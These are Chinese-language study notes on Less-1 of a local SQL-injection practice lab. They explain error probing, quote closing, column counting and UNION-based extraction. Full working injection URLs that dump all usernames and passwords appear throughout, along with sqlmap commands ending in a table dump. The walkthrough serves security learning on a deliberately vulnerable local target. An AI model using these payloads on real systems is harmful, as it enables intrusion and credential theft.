/***
环境搭建
CSDNhttps://mp.csdn.net/mp_blog/creation/editor/122668696
***/
一、less-1
法一:常规
(1)题目让提交一个参数,没说是get参数还是post参数,那先尝试一下get参数
(2)首先触发网站的异常,如果触发异常了,说明网站存在sql注入漏洞,甚至可以通过报错信息,获取数据库的一些信息。
1)可以通过特殊字符进行尝试
(空格、#号需要url转义)
报如下异常
尝试单引号,报如下异常:
尝试双引号,没有报异常:
2)通过以上异常测试,只有双引号没有报错,说明双引号在数据库中被使用了,而单引号由于和前面的单引号闭合导致报错,说明我们可以通过单引号将该sql语句闭合。
服务器会把单引号后面的指令当作指令来处理,加一个“#”号就可以屏蔽后面的指令了(sql中注释符为#)
3)测试该数据库的列数,url后加上order by,eg:order by 3没有报错,说明至少有3列,4列报错,测试得该数据库有三列
4)使用联合查询union slect 1,2,3,首先要把前面的条件改为不满足的情况,才能使用联合查询。以判断哪一列会在前端中显示,
(视频2111242,59:00详细讲解)
//*** 联合查询:
a、输出两个查询之间的集合。
b、一般网站只有一个显示的地方,如果联合查询前面查询的内容存在,也只会显示第一个数据,而不显示select后面的内容,为了使select后面的内容显示出来,需要前面的查询没有内容 。
c、只有列数相同才能进行联合查询,否则报错,如下。
***//
可以判断本题,第一列不显示,第二列为 name,第三列为password
5) database()获取正在使用的数据库的名字,为security;
6)获取security数据库中有些哪些表:
/***
information_schema.tables # information_schema表记录数据库本身的一些信息
group_concat # 组合查询,对查询出来的多个结果进行组合输出
***/
http://127.0.0.1:8084/Less-1/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'), 3%23
7)对有敏感信息表头的表再次进行查询,如“users”
http://127.0.0.1:8084/Less-1/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3%23
//*** column 表示列 ***//
8)进一步查询敏感信息,如uesrname、password
http://127.0.0.1:8084/Less-1/?id=-1' union select 1,(select group_concat(username,password) from users), 3%23
加分隔符
加换行符:
http://127.0.0.1:8084/Less-1/?id=-1' union select 1,(select group_concat(username,'-',password separator '</br>') from users), 3%23
成功拿到所有登录名和密码
法二:使用工具sqlmap
(1)使用命令查到服务器数据库
(sqlmap.py --purge 清空初始化
--batch 均使用默认的选项)
python sqlmap.py -u "127.0.0.1:8084/Less-1/?id=1" --dbs
(2)对我们想要查询的数据库求表名
python sqlmap.py -u "127.0.0.1:8084/Less-1/?id=1" -D security --tables
(3)对我们想要查询的表求列名
python sqlmap.py -u "127.0.0.1:8084/Less-1/?id=1" -D security -T users --columns
(4)发现users里面有name和password,求users的dump数据
python sqlmap.py -u "127.0.0.1:8084/Less-1/?id=1" -D security -T users --dump